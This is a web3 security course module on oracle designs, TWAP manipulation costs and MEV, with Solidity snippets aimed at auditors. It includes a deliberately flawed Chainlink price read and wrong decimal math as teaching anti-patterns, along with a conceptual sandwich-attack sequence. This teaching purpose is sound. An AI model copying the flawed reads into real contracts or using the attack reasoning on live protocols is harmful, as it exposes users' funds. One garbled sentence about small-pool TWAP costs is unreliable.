Week 09 — Oracle, MEV & Economic Attack Modeling

“In Phase 2 you learned that the EVM lets external code run in the middle of your state transition. In Phase 3 you learn that the EVM lets the rest of the world — prices, ordering, capital — change between the moment a user signs and the moment a transaction executes. A protocol auditor’s job in this phase is to make the economic adversary explicit, give them a budget, give them a block window, and ask: do they make money? If yes, find the protocol’s defence; if no, find a stronger adversary.”

Tags: web3-security oracle mev economic-attack chainlink pyth twap flashbots cow intent Learner: Past Tuan-06-Vulnerability-Classes-Part-2 (oracle/MEV at the bug-class level), Tuan-08-DeFi-Security-AMM-Lending-Vault (DeFi mechanics) Time: 7 days (6–7h/day; this is one of the most concept-dense weeks of Phase 3) Related: Tuan-06-Vulnerability-Classes-Part-2 · Tuan-08-DeFi-Security-AMM-Lending-Vault · Tuan-10-Bridge-Cross-Chain-Security · Case-bZx-Price-Manipulation-2020 · Case-Harvest-Finance-2020 · Case-Mango-Markets-2022


1. Context & Why

1.1 The shift from Phase 2 to Phase 3

Phase 2 vulnerabilities were execution-order bugs: reentrancy, delegatecall, signature replay. They were proven with a single transaction in a Foundry test. The bug existed inside the contract.

Phase 3 vulnerabilities are different. They are economic-and-time bugs:

  • Oracle bugs: the contract is internally consistent, but its view of the outside world is wrong.
  • MEV bugs: the contract is correct, but the order in which it processes transactions leaks value to whoever controls ordering.
  • Economic bugs: every individual step is permitted by the protocol, but the composition of steps produces an outcome the designer did not intend.

The mental shift required: the bug is no longer in the code; the bug is in the model of the world the code is embedded in. To find it, you must reason about money, time, and adversarial capital — not just CALL traces.

Week 06 introduced the bug class. Week 09 is the deep dive: oracle architectures, MEV pipeline, mitigation taxonomy, and the math an auditor uses to argue “this is exploitable for Y capital over $Z blocks.”

1.2 What you’ll be able to do by Friday

  • Classify any oracle into the four-axis taxonomy (push/pull, on-chain/off-chain, trust-minimised/trusted, instant/delayed) and state its threat model in one paragraph.
  • Write the correct Chainlink latestRoundData consumption pattern from memory, including L2 sequencer-uptime checks.
  • Integrate Pyth pull oracle in a contract with proper freshness validation.
  • Compute the dollar cost of skewing a Uniswap V2 TWAP by N% for K blocks given pool reserves R.
  • Trace a transaction through Ethereum’s post-Merge PBS pipeline (searcher → builder → relay → proposer) and explain censorship surface at each hop.
  • Classify any MEV behaviour as toxic (sandwich) vs neutral (atomic arb) vs ambiguous (JIT, liquidation).
  • Write a sandwich-attack PoC in Foundry against an unprotected swap.
  • Apply the §10 auditor’s checklist to a third-party DeFi codebase and produce a one-page oracle-and-MEV risk write-up.

1.3 Primary references

SourceURLStatus
Chainlink Data Feedshttps://docs.chain.link/data-feedsCurrent
Chainlink L2 Sequencer Uptime Feedshttps://docs.chain.link/data-feeds/l2-sequencer-feedsCurrent
Chainlink VRF v2.5https://docs.chain.link/vrf/v2-5/getting-startedCurrent
Chainlink CCIPhttps://docs.chain.link/ccipCurrent
Chainlink Functionshttps://docs.chain.link/chainlink-functionsCurrent
Pyth EVM integrationhttps://docs.pyth.network/price-feeds/use-real-time-data/evmCurrent
Pyth Sponsored Feedshttps://docs.pyth.network/price-feeds/sponsored-feedsCurrent
API3 dAPI docshttps://docs.api3.org/Current
RedStone docshttps://docs.redstone.finance/Current
Uniswap V2 Oracleshttps://docs.uniswap.org/contracts/v2/concepts/core-concepts/oraclesCurrent
Uniswap V3 Oracle (whitepaper §5)https://uniswap.org/whitepaper-v3.pdfCurrent
Flashbots — MEV-Boosthttps://docs.flashbots.net/flashbots-mev-boost/introductionCurrent
Flashbots — Protecthttps://docs.flashbots.net/flashbots-protect/overviewCurrent
Flashbots — MEV-Sharehttps://docs.flashbots.net/flashbots-mev-share/introductionCurrent
CoW Protocol — Batch Auctionshttps://docs.cow.fi/cow-protocol/concepts/introduction/batch-auctionsCurrent
Uniswap Xhttps://developers.uniswap.org/contracts/uniswapx/overviewCurrent
Shutter Network — Threshold Encrypted Mempoolhttps://blog.shutter.network/the-first-encrypted-mempool-is-coming-to-pbs-on-ethereum/Current (PoC: Dec 2025/Jan 2026 [verify], mainnet TBD)
Paradigm — Flash Boys 2.0 (Daian et al., 2019)https://arxiv.org/abs/1904.05234Foundational
EIP-7547 — Inclusion Listshttps://eips.ethereum.org/EIPS/eip-7547Draft [verify status at study time]
Case: bZx (2020)PeckShield analysis Feb 2020Historical
Case: Harvest Finance (2020)Harvest official post-mortemHistorical
Case: Mango Markets (2022)Various — SEC complaint, Chainalysis write-upHistorical

2. Oracle Architecture Taxonomy

2.1 The four axes

Every oracle in production today varies along these axes:

AxisOptionsAudit signal
DirectionPush (oracle writes to chain) vs Pull (consumer pulls fresh data on-demand)Push = predictable cost + heartbeat staleness risk; Pull = freshness + fee/payload risk
SourceOn-chain native (AMM-derived) vs Off-chain aggregatorOn-chain = manipulable by capital; Off-chain = trust the aggregator
Trust modelDecentralised oracle network (DON) vs single source vs multi-source aggregationSingle source = censor / collusion risk
LatencyInstant (every block) vs Delayed (TWAP / committee window)Instant = manipulable cheaply; Delayed = laggy in fast markets

Map any oracle you audit onto these four axes before reading code.

OracleDirectionSourceTrustLatency
Chainlink Data FeedPushOff-chain DON (OCR)Multi-node, multi-data-source aggregationHeartbeat (10m–24h) + deviation
Pyth NetworkPullOff-chain (~100 publishers)Aggregated medianisation w/ confidence interval<1s update available, freshness check on use
API3 dAPIPush or PullFirst-party API providersOne-provider-per-feed, signedConfigurable
RedStonePull (push-on-demand)Off-chain DONAggregated, signed in calldataConfigurable, low cost via “modular oracle”
Uniswap V2 TWAPOn-chainPool reservesTrust the pool’s arb mechanismWindow-length-dependent (e.g., 30m)
Uniswap V3 TWAPOn-chainPool ticksTrust the pool’s arb mechanismWindow-length-dependent (up to ~9 days)
Centralised single-API “oracle”PushOne serverTrust the operatorWhatever the operator does

Auditor takeaway: the strongest oracle for price is usually a combination — Chainlink as the primary feed, Uniswap V3 TWAP as a sanity-check / fallback, with explicit disagreement detection.

2.2 The fundamental tension

There is no oracle that is simultaneously fresh, cheap, trust-minimised, and manipulation-resistant. Pick three:

flowchart LR
  subgraph Tension[The Oracle Tetrahedron]
    F[Freshness]
    C[Cost]
    D[Decentralisation]
    M[Manipulation-resistance]
  end
  F -.- C
  C -.- D
  D -.- M
  M -.- F
  F -.- D
  C -.- M
  • Uniswap V2 spot price: fresh, cheap, decentralised — but easily manipulated (one flash loan).
  • Chainlink Data Feed: manipulation-resistant, decentralised — but not perfectly fresh (heartbeat delay) and not free (operators are paid in LINK; protocol pays in subscription).
  • Pyth: fresh + relatively cheap + manipulation-resistant — but trust shifts to the publisher set.
  • A single centralised API: fresh + cheap + can be made hard-to-manipulate — but not decentralised.

Audit habit: when you read “this protocol uses an oracle”, immediately ask which of the four properties is being traded away, and is that trade explicit in the docs? Hand-wavy language (“we use a robust oracle”) = finding.

2.3 Trust model comparison

flowchart TD
  subgraph Push[Push oracle - e.g. Chainlink Data Feed]
    PNodes[Node operators] -->|OCR consensus| AGG[Aggregator contract]
    AGG -->|writes price| CONS1[Consumer reads latestRoundData]
  end

  subgraph Pull[Pull oracle - e.g. Pyth]
    PUB[Publishers] -->|signed prices| PNAgg[Pyth aggregator off-chain]
    PNAgg -->|signed update| Hermes[Hermes service]
    User -->|fetch from Hermes| TX[Tx with priceUpdate]
    TX -->|updatePriceFeeds| Pyth[Pyth contract on-chain]
    Pyth -->|getPriceNoOlderThan| CONS2[Consumer]
  end

  subgraph OnChain[On-chain native - e.g. Uniswap V3 TWAP]
    Trades[Swaps over time] -->|update reserves/ticks| Pool[Uniswap V3 Pool]
    Pool -->|observe ticks| CONS3[Consumer computes TWAP]
  end

Where the trust lives differs:

  • Push: trust the DON not to collude or be censored at the aggregator layer.
  • Pull: trust the publisher set, trust the signed payload reaches you intact, trust the user/keeper to actually call updatePriceFeeds before reading.
  • On-chain native: trust that the pool’s arbitrage incentive keeps the price tracking the global market over the chosen window.

Chainlink Data Feed is the most widely-integrated oracle on EVM chains. You will see it on every audit. You must read its mis-use signatures fluently.

3.1 Aggregator architecture (OCR)

Chainlink Data Feeds run Off-Chain Reporting (OCR). The high-level flow:

  1. A set of node operators (typically 15–31) subscribe to multiple data sources (e.g., Coinbase, Binance, Kraken, OKX, several aggregators).
  2. Off-chain, they share their observations via a peer protocol and produce a single signed report containing the median price and metadata.
  3. One designated transmitter posts the signed report on-chain in a transaction that calls the aggregator contract.
  4. The aggregator validates the threshold signature, updates latestRoundData, and emits an event.

This means: most rounds incur one on-chain transaction (not N transactions from N nodes). OCR is what makes Chainlink Data Feed economically feasible across many chains.

3.2 Heartbeat and deviation threshold

Every Data Feed has two parameters that determine when a new round is written:

ParameterMeaningTypical value
HeartbeatMaximum time between updates regardless of price movement1h for stables, 24h for some majors, 10m for ETH/USD on Arbitrum [verify per-feed]
Deviation thresholdPush update sooner if price has moved > X% since last update0.5% for ETH/USD, 0.25% for stables [verify per-feed]

The price you read can therefore be up to heartbeat seconds old, plus the latency from the last actual market move within the deviation band.

Audit implication: if your protocol’s correctness requires fresher price than (heartbeat + a few blocks), Chainlink alone is insufficient. Either choose a finer-grained feed (if one exists), use Pyth or RedStone, or accept the staleness window in your model.

3.3 The correct consumption pattern

The single most common Chainlink mis-use:

// ANTI-PATTERN — DO NOT USE
function getPrice() public view returns (int256) {
    (, int256 price,,,) = priceFeed.latestRoundData();
    return price;
}

Five things are wrong here:

  1. No staleness checkupdatedAt is ignored. If the feed has stalled (broken node operators, mass outage, deprecated feed) you’ll read an arbitrarily old price.
  2. No sign checkint256 can be negative; a negative price (theoretically possible, see oil futures 2020) breaks downstream math.
  3. No zero check — a misconfigured aggregator can return 0.
  4. No round freshness check — historically the answeredInRound field was used; it is now deprecated per Chainlink docs but plenty of legacy code still expects it.
  5. No L2 sequencer check — on Arbitrum/Optimism/Base, a feed reads stale during sequencer downtime.

The correct pattern (L1):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
import {AggregatorV3Interface} from "@chainlink/contracts/src/v0.8/shared/interfaces/AggregatorV3Interface.sol";
 
contract PriceConsumer {
    AggregatorV3Interface public immutable feed;
    uint256 public immutable heartbeat; // seconds; per-feed parameter
 
    error StalePrice(uint256 updatedAt, uint256 heartbeat);
    error InvalidPrice(int256 price);
    error IncompleteRound();
 
    constructor(address _feed, uint256 _heartbeat) {
        feed = AggregatorV3Interface(_feed);
        heartbeat = _heartbeat;
    }
 
    function getPrice() public view returns (uint256) {
        (
            uint80 roundId,
            int256 price,
            ,
            uint256 updatedAt,
            uint80 answeredInRound
        ) = feed.latestRoundData();
 
        // 1. Round completed
        if (updatedAt == 0) revert IncompleteRound();
        // 2. Freshness — use feed's own heartbeat + a margin of error
        if (block.timestamp - updatedAt > heartbeat) {
            revert StalePrice(updatedAt, heartbeat);
        }
        // 3. Sign + zero check
        if (price <= 0) revert InvalidPrice(price);
        // 4. Legacy-safe: ensure answer is from a non-prior round
        //    (Newer feeds deprecate answeredInRound; keep this only when targeting older deployments.)
        if (answeredInRound < roundId) revert StalePrice(updatedAt, heartbeat);
 
        // 5. Normalise decimals before use
        return uint256(price);
    }
}

Note: decimals. Each feed has a decimals() value. ETH/USD returns 8 decimals; some pairs return 18. Mixing decimals in math is the source of countless bugs:

// WRONG — assumes 18 decimals
uint256 ethInUsd = (ethAmount * uint256(price)) / 1e18;
 
// BETTER — explicit
uint8 d = feed.decimals();          // typically 8
uint256 priceScaled = uint256(price) * (10 ** (18 - d));
uint256 ethInUsd = (ethAmount * priceScaled) / 1e18;

Always normalise to a fixed precision (commonly 18) at the boundary, then do math in that fixed precision.

3.4 Sequencer Uptime Feed on L2

L2 chains (Arbitrum, Optimism, Base — and now most OP Stack chains) run with a centralised sequencer. When the sequencer is down, no transactions are processed but Chainlink prices still update via L1-to-L2 messaging slowly. The result: when the sequencer comes back, mass liquidations or oracle reads execute against pre-outage prices in a now-different market.

Chainlink publishes a Sequencer Uptime Feed per L2 chain. Pattern:

import {AggregatorV3Interface} from "@chainlink/contracts/src/v0.8/shared/interfaces/AggregatorV3Interface.sol";
 
contract L2SafePriceConsumer {
    AggregatorV3Interface public immutable sequencerUptimeFeed;
    AggregatorV3Interface public immutable priceFeed;
    uint256 public constant GRACE_PERIOD_TIME = 3600; // 1h per Chainlink docs
 
    error SequencerDown();
    error GracePeriodNotOver();
 
    function getPriceSafe() public view returns (uint256) {
        (, int256 answer, uint256 startedAt, , ) = sequencerUptimeFeed.latestRoundData();
        // answer == 1 means sequencer is DOWN; 0 means UP
        if (answer == 1) revert SequencerDown();
        // After recovery, wait the grace period so users can react
        if (block.timestamp - startedAt <= GRACE_PERIOD_TIME) {
            revert GracePeriodNotOver();
        }
        // ... now safe to read priceFeed (with all checks from §3.3) ...
    }
}

The grace period exists so users can submit transactions to repay debt, top up collateral, etc., before liquidators fire. Without it, a sequencer outage becomes a mass-liquidation event.

Audit finding pattern: lending protocols on L2 missing the Sequencer Uptime Feed check is a High finding on most engagements.

MistakeReal-world impact
No staleness checkSynthetix incidents; multiple smaller protocols when a node operator went down.
Wrong feed addressProtocol points at the wrong pair (e.g., wBTC/USD instead of BTC/USD). Each L2 has different addresses.
Hardcoded decimals (e.g., 1e8)Breaks when the protocol migrates to a chain where the same pair has different precision.
Reading from a deprecated feedChainlink retires feeds; legacy contracts keep reading the last value forever.
Missing fallback / no circuit breakerSingle-point failure if Chainlink reports a bad price. The protocol should have either a secondary oracle or a price-deviation breaker (max % move per block).
Treating int256 as uint256 without sign checkUnderflows when cast.
Trusting Chainlink during chain forks or reorgsThe aggregator on the canonical chain may not reflect the alt-fork state.
Confusing rate feeds and price feedsE.g., reading rETH/ETH rate as “rETH price in USD”.

4. Pyth Network — Pull Oracle Deep Dive

Pyth is the dominant pull oracle in 2025–2026. Its design is fundamentally different from Chainlink; the audit angles are different too.

4.1 Pull oracle flow

sequenceDiagram
  participant Pub as ~100 Publishers (CEXs, market makers)
  participant Off as Pyth aggregation (off-chain)
  participant Hermes as Hermes price service
  participant User as User/Keeper
  participant Tx as Wrapper tx
  participant Pyth as Pyth contract on EVM
  participant Cons as Consumer contract

  Pub->>Off: signed observations (sub-second)
  Off->>Off: median + confidence interval
  Off->>Hermes: signed price update payloads (Wormhole VAA / similar)
  User->>Hermes: HTTP fetch latest update for feed X
  User->>Tx: build tx including priceUpdate bytes + call to Cons
  Tx->>Pyth: updatePriceFeeds(priceUpdate) + msg.value = fee
  Pyth->>Pyth: verify signature, store latest price
  Tx->>Cons: trigger business logic (swap, liquidate, ...)
  Cons->>Pyth: getPriceNoOlderThan(feedId, maxAge)
  Pyth-->>Cons: PythStructs.Price{price, conf, expo, publishTime}

The signed price update payloads contain a recent price and metadata signed by the Pyth aggregation network. The on-chain contract verifies the signature on-the-fly, so price availability is decoupled from on-chain heartbeats — the trader/user (or their bot) pulls a fresh price into the same transaction that consumes it.

4.2 Reading a Pyth price correctly

import "@pythnetwork/pyth-sdk-solidity/IPyth.sol";
import "@pythnetwork/pyth-sdk-solidity/PythStructs.sol";
 
contract Liquidator {
    IPyth public immutable pyth;
    bytes32 public constant ETH_USD_ID = 0xff61491a931112ddf1bd8147cd1b641375f79f5825126d665480874634fd0ace; // example
 
    function liquidate(
        bytes[] calldata priceUpdate,
        address user
    ) external payable {
        // Step 1: pay and apply the fresh update
        uint256 fee = pyth.getUpdateFee(priceUpdate);
        require(msg.value >= fee, "insufficient fee");
        pyth.updatePriceFeeds{value: fee}(priceUpdate);
 
        // Step 2: read with explicit max age
        PythStructs.Price memory p = pyth.getPriceNoOlderThan(ETH_USD_ID, 60); // 60s max
        require(p.price > 0, "bad price");
 
        // Step 3: confidence interval gate — confidence/price must be tight enough
        //          (skip the position if uncertainty is high)
        uint256 absPrice = uint256(int256(p.price));
        require(p.conf < absPrice / 100, "conf too wide"); // <1%
 
        // Step 4: decode expo (negative = decimals)
        //         price = p.price * 10^expo  → normalise to 1e18 base
        // ... liquidation logic ...
    }
}

The four checks specific to Pyth:

  1. Update must be paid for (getUpdateFee). If skipped, the call reverts.
  2. getPriceNoOlderThan(maxAge) rather than getPrice — never accept a stale price even though you just updated, because the update payload itself can carry a stale publishTime.
  3. Confidence interval (conf) — Pyth publishes uncertainty around the price. Wide conf (e.g., during a volatile market or low publisher coverage) should trigger skip-or-revert in safety-critical paths.
  4. Exponent (expo) — negative integer, e.g. -8 means 8 decimals. Decode explicitly; do not assume.

4.3 Sponsored vs unsponsored feeds — who pays

Pyth has two operational modes:

ModeWho pays the on-chain update feeUse case
SponsoredThe protocol (or Pyth itself for popular pairs) prepays / sponsors push updates on a configurable cadence so consumers can read without paying every time.Protocols wanting Chainlink-like UX where everyone reads a pre-updated price.
UnsponsoredEvery consumer transaction pays to refresh the price as part of the transaction.Liquidators, takers, anyone with sub-block timing requirements.

Audit angle:

  • A sponsored feed has a maximum staleness controlled by the sponsor’s cadence. Your getPriceNoOlderThan argument must match the sponsorship cadence; otherwise honest users get reverts.
  • An unsponsored feed has a per-tx fee that the calling contract must hold or forward. Liquidators must include enough native asset; otherwise the liquidation tx fails — a subtle DoS vector.

4.4 Pyth-specific failure modes

FailureBug
Read price before applying the updateStale read passes if the previously-applied update is still in window.
Forget to forward msg.value to updatePriceFeedsTx reverts; honest users blocked.
Use getPrice instead of getPriceNoOlderThanNo staleness enforcement.
Ignore conf intervalAccepts low-confidence prices during outages or thin markets.
Hardcoded feed ID for the wrong pairReading a different asset’s price.
Trust Pyth’s publishTime without considering Wormhole/bridge delaysThe signed VAA can arrive later than its publishTime suggests; cross-chain consumers must add a delay margin.

5. Uniswap TWAP — Manipulation Math

5.1 Why TWAP exists

Spot price from an AMM is trivially manipulable: flash-loan a large amount of one side, push the reserves in your favour, read the price, reverse the swap. The bug cost the industry hundreds of millions in 2020 (bZx, Harvest, several others).

Time-Weighted Average Price (TWAP) averages the price over a window. To skew the TWAP by Δ for a window of length T, the attacker must skew the price by Δ for the entire duration T. Each block of skew costs an arbitrage profit to whoever sees the divergence and corrects it. The longer T is, the more expensive the attack.

But: the longer T is, the less responsive the reported price is to real market moves. This is the window-length trade-off.

5.2 Uniswap V2 TWAP — cumulative price

Uniswap V2 stores cumulative price values that update on every swap and liquidity event:

priceCumulative0 += (reserve1 / reserve0) * (now - lastTimestamp)
priceCumulative1 += (reserve0 / reserve1) * (now - lastTimestamp)

Each priceCumulative is a number-of-seconds-weighted sum of the instantaneous price. To compute a TWAP between two timestamps t1 < t2:

TWAP = (priceCumulative(t2) - priceCumulative(t1)) / (t2 - t1)

The consumer contract snapshots priceCumulative at t1, waits T = t2 - t1 seconds, snapshots again, divides. Result: average price over the window, expressed in V2’s UQ112x112 fixed-point format.

// Adapted from Uniswap V2 oracle example
function update() external {
    uint256 timeElapsed = block.timestamp - blockTimestampLast;
    require(timeElapsed >= PERIOD, "period not elapsed");
 
    (uint256 cumulative0, uint256 cumulative1, ) =
        UniswapV2OracleLibrary.currentCumulativePrices(pair);
 
    price0Average = FixedPoint.uq112x112(uint224(
        (cumulative0 - price0CumulativeLast) / timeElapsed
    ));
    // ... store new last values ...
}

The window-length trade-off in numbers:

Window TResponsivenessManipulation cost (rough)
30 minTracks market within 30 minCheap on small pools; ~12.5x cheaper than 1h
1 hourTracks market within ~1hMedium
24 hoursLaggy in fast markets — bad for liquidation triggersExpensive

For lending collateral pricing, the industry baseline is not V2 TWAP — Chainlink is preferred. V2 TWAP is acceptable for cross-checks, long-tail tokens with no Chainlink feed, or parameters that need not be precise.

5.3 Uniswap V3 TWAP — observation array

V3 stores observations in a ring buffer of up to 65,535 slots. Each observation packs:

  • Block timestamp
  • tickCumulative — sum of tick * seconds_in_tick since pool creation
  • secondsPerLiquidityCumulativeX128 — for liquidity-weighted reads

The consumer queries observe(secondsAgos) with two time offsets and computes:

avgTick = (tickCumulative_now - tickCumulative_then) / (now - then)
price   = 1.0001 ^ avgTick    // V3 tick → price conversion

Critically: this is a geometric mean, not an arithmetic mean. The arithmetic mean of ticks equals the geometric mean of prices (because tick is log-of-price). The geometric mean is less skewable by a single large move than the arithmetic mean — a property V3 inherits for free.

Window-length sizing is governed by cardinality. A pool must increaseObservationCardinalityNext(N) to support an N-slot window. Default cardinality on most pools is 1; the consumer must extend it (and pay the SSTORE cost) at deployment time.

// Extend pool's observation buffer at deployment
IUniswapV3Pool(pool).increaseObservationCardinalityNext(1440); // ~9.6h at 1 obs/24s

5.4 TWAP manipulation cost — the math

Now the auditor’s question: if I have $X capital and want to skew a Uniswap V2 TWAP by N% for K blocks, is it profitable?

Setup:

  • Pool has reserves R_t (target token) and R_q (quote token, e.g., USDC).
  • Constant-product invariant: R_t * R_q = k.
  • Current price: P = R_q / R_t.
  • I want to push P to P' = (1 + N) * P and hold it there for K blocks (so T = 12 * K seconds on Ethereum).

To push the price up by factor (1 + N):

  • I buy target token. New reserves: R_t' = R_t / sqrt(1 + N), R_q' = R_q * sqrt(1 + N).
  • Amount of quote I spend: R_q' - R_q = R_q * (sqrt(1 + N) - 1).

Now I hold the price at P'. Each block, an arbitrageur sees the divergence between this pool and the global market, and trades to capture profit. To prevent the arbitrageur from reverting my push, I must trade against them in every block, eating the arbitrage profit.

Arbitrage per block (approximate, ignoring fees):

  • If global price is P and my pool’s price is P', an arbitrageur extracts a profit roughly proportional to (P' - P) and pool depth.
  • A rough first-order estimate: arbitrage profit per block ≈ N * R_q * f(N, fee), where f depends on the pool’s fee tier (0.3% for V2; 0.05%/0.3%/1% on V3) and how often arb bots act.

Total cost for K blocks of skew:

Cost ≈ R_q * (sqrt(1 + N) - 1)         // initial push
     + K * (arb profit per block, against me)
     - R_q * (sqrt(1 + N) - 1) * (1 - slippage_on_unwind)  // recovery

The middle term — the ongoing cost of holding the skew — is what makes TWAP manipulation impractical on deep pools over long windows. A 30-min TWAP on a $100M ETH/USDC pool costs roughly tens of millions of dollars to skew by 10% — economically irrational against most target protocols.

A 30-min TWAP on a 5K–$50K to skew dramatically. Long-tail tokens used as collateral with TWAP oracles are the classic Mango/bZx-shape attack surface.

Lab §8.3 has you build a Python calculator for these numbers.

5.5 V2 vs V3 oracle — practical differences

V2V3
Mean typeArithmetic of (reserve_q/reserve_t)Geometric (arithmetic-mean tick)
Storage costOne cumulative per direction (cheap)Ring buffer; expensive to extend cardinality
Window supportAny window you snapshot forUp to ~9 days with full cardinality
Manipulation resistanceLinear in pool depth × window lengthSlightly better due to geometric mean + log scale
Per-pool fee tier impactSingle 0.30%Multiple tiers; choose deepest pool
Audit defaultsAcceptable for cross-check; risky as primaryAcceptable as primary for long-tail; deep-pool windows preferred

6. Multi-Oracle Aggregation Patterns

A robust price layer never reads from a single oracle. Three patterns:

6.1 Median-of-N

Query N independent oracles. Sort the values. Take the median.

function median(uint256[] memory arr) internal pure returns (uint256) {
    // sort (insertion / quicksort)
    uint256 n = arr.length;
    if (n % 2 == 1) return arr[n / 2];
    return (arr[n / 2 - 1] + arr[n / 2]) / 2;
}
 
function getRobustPrice() public view returns (uint256) {
    uint256[] memory prices = new uint256[](3);
    prices[0] = chainlinkPrice();
    prices[1] = pythPrice();
    prices[2] = uniV3TwapPrice();
    return median(prices);
}

Tolerates one oracle producing a wildly wrong value. Requires all three to be online (a stale revert in any of them kills the read — wrap each in try/catch and fall back to N=2).

6.2 Primary + fallback

One oracle is primary. If it’s stale, broken, or out-of-circuit-breaker, fall back to a secondary.

function getPrice() public view returns (uint256) {
    try priceFeed.latestRoundData() returns (
        uint80 roundId, int256 p, , uint256 updatedAt, uint80 air
    ) {
        if (p > 0 && block.timestamp - updatedAt <= heartbeat && air >= roundId) {
            return uint256(p);
        }
    } catch {}
    // Fallback
    return secondaryOracle.getPrice();
}

Cleaner UX (no revert on stale primary) but opens a downgrade attack: if the attacker can intentionally stale the primary, they force consumers onto a weaker secondary they can manipulate.

Mitigation: never fall back to a weaker oracle. Fall back to a different but equivalent one.

6.3 Disagreement detection / circuit breaker

Read two oracles. If they diverge by more than Δ%, pause the protocol or revert sensitive operations.

function getCheckedPrice() public view returns (uint256) {
    uint256 a = chainlinkPrice();
    uint256 b = uniV3TwapPrice();
    uint256 diff = a > b ? a - b : b - a;
    require(diff * 1e18 / a < 0.02e18, "oracle disagreement"); // 2% guard
    return a; // trust primary if both agree
}

This is the cleanest design for safety-critical paths (e.g., liquidations). The cost is real availability: in genuine market dislocations the protocol pauses, frustrating users — but it cannot be drained by oracle manipulation alone.


7. MEV — The Full Pipeline

7.1 The post-Merge order-flow model

Pre-Merge: miners produced blocks themselves. They saw the full mempool and could reorder, insert, censor.

Post-Merge: validators do not build blocks themselves (most don’t). They outsource block production to a builder market via MEV-Boost. The pipeline:

flowchart LR
  U[User] -->|tx| MP[Public mempool]
  U -->|tx| Priv[Private mempool<br>Flashbots Protect / etc.]
  S[Searchers] -->|bundles| B1[Builder 1]
  S -->|bundles| B2[Builder 2]
  MP --> B1
  MP --> B2
  Priv --> B1
  Priv --> B2
  B1 -->|signed block| R1[Relay 1]
  B2 -->|signed block| R2[Relay 2]
  R1 -->|highest bid| MEV[MEV-Boost sidecar]
  R2 -->|highest bid| MEV
  MEV -->|chosen header| P[Proposer<br>validator]
  P -->|signed proposal| Net[Ethereum p2p]

Roles:

RoleWhat they doCentralisation today
SearcherScans mempool & state for MEV opportunities; builds bundles (atomic groups of tx) and submits them with a tip.Open competition; thousands.
BuilderReceives bundles from many searchers, plus mempool tx, packs them into a candidate block, computes the total payment to the proposer.~5 builders produce >90% of blocks [verify].
RelayAggregates blocks from builders, runs validity & DoS checks, and offers the highest-paying block header to validators via MEV-Boost. Acts as a trusted intermediary that holds the builder’s full block until the proposer commits.Small set (Flashbots, BloXroute, Agnostic, etc.).
Proposer (validator)Receives header bids from MEV-Boost across multiple relays; signs the highest-paying header; receives the full block from the corresponding relay; propagates.~1M+ validators but ~90% use MEV-Boost.

The proposer almost never sees the contents of the block before signing — they trust the relay. This is the trust assumption of MEV-Boost: relays don’t equivocate, don’t censor maliciously, don’t withhold the body after the header is signed.

7.2 Why this matters for auditors

A protocol auditor must understand this pipeline because:

  1. Censorship surface: a relay that drops a transaction (e.g., OFAC-flagged addresses) excludes it from blocks built by builders feeding that relay. A protocol relying on “the user can always submit a tx” must consider the worst-case censoring relay set.
  2. Atomic-bundle execution: searchers build atomic bundles — multiple txs that execute together or not at all. This enables sandwich attacks, atomic arbitrage, and atomic governance attacks (flash-loan governance, etc.).
  3. Private order flow: a user submitting via Flashbots Protect bypasses the public mempool — sandwich bots can’t see them. But the user’s tx is now seen by all builders Flashbots connects to.
  4. Builder collusion risk: a builder running its own searcher operation (vertical integration) sees order flow before competitors. Concentration in builders is the modern equivalent of pre-Merge miner concentration.

Audit takeaway: any protocol that has “first-come, first-served” assumptions (e.g., “first liquidator wins”) is implicitly assuming a competitive builder market without backroom deals. Document this assumption.

7.3 EIP-7547 — inclusion lists [verify]

EIP-7547 proposes inclusion lists: a slot-N proposer specifies a set of public-mempool transactions the slot-N+1 builder must include for the block to be valid. The goal is to reduce censorship power of builders/relays.

As of early 2026 the EIP remains in Draft status and is part of broader proposer-builder-separation reform discussions; it is not yet scheduled into a hard fork [verify at study time]. Recent Ethereum Foundation checkpoint reports discuss it alongside enshrined-PBS variants.

For the auditor: today’s protocols cannot rely on inclusion-list censorship resistance. Design as if censoring relays might exclude your transactions.


8. MEV Categories — Toxic vs Neutral

Not all MEV is equal. Classifying it correctly is the first step in writing a coherent risk section.

8.1 Atomic arbitrage (neutral / market-positive)

A price discrepancy between two DEXs is corrected by a searcher who buys on the cheap venue and sells on the expensive venue in the same transaction. Without flash loans, requires upfront capital; with flash loans, requires only gas + tip.

Impact: no individual user loses money. Liquidity providers may earn slightly less because the LP-as-arbitrageur opportunity is captured by external bots (“LVR” — loss-versus-rebalancing — is a long-running research topic).

Audit angle: usually no finding for the protocol. Sometimes a finding for LP-facing fee design.

8.2 Sandwich attack (toxic)

Victim submits a swap to the public mempool. Searcher sees it. Searcher front-runs with their own swap in the same direction, pushing the price; victim’s tx executes at the worse price; searcher back-runs with the opposite swap and pockets the spread.

Block N:
  TX_A: Searcher buy 100 ETH       (front-run; pushes price up)
  TX_B: Victim swap 1 ETH at "any" price  (victim; gets pushed price)
  TX_C: Searcher sell 100 ETH      (back-run; price comes back; pockets diff)

Direct value transfer from victim to searcher. The victim’s only protection is slippage tolerance (amountOutMin). Wallet defaults vary (0.5%–3%); for popular pairs sandwich extraction is bounded by the slippage.

Audit angle: any protocol that performs swaps must expose amountOutMin (or equivalent) to the user, never set it to 0 or MAX. Aggregator routers (1inch, 0x) handle this correctly; first-party DeFi protocols sometimes don’t.

8.3 Liquidation MEV (competitive / OK)

Lender protocol opens a liquidation when a borrower’s collateral ratio drops below threshold. Searchers compete to call the liquidation function first; the winner takes the liquidation incentive.

Impact: no extra loss to the borrower (they would have been liquidated either way). Liquidation incentive is paid out — to whoever wins. Sometimes called “competitive MEV”.

Audit angle: design the liquidation function so that fair competition is possible — public function, no admin-only access, no asymmetric information. If only one whitelisted bot can call, the protocol risks losing money during bot downtime.

8.4 JIT (Just-In-Time) liquidity (controversial)

On Uniswap V3, a searcher sees a large pending swap. They add concentrated liquidity exactly in the price range of the swap one block before, collect (most of) the LP fee, and remove it the next block.

Impact: passive LPs in the range earn less because the JIT LP captured fees that would otherwise have gone to them. The swapper gets approximately the same price.

Audit angle: JIT is more an LP-incentive design issue than a protocol exploit. A finding only if the protocol claims “LPs earn the full pool fee” without disclosing JIT competition.

8.5 Long-tail MEV (oracle updates, expiry events, time-based logic)

Whenever a contract has logic that activates at a specific block or timestamp — oracle TWAP updates, option expiries, governance voting deadlines, vesting cliffs — searchers race to act on that block. Sometimes this includes:

  • Sniping the oracle update transaction to act on the new price in the same block.
  • Filling expiring options just before/after expiry.
  • Race to claim a one-shot reward when a vesting period ends.

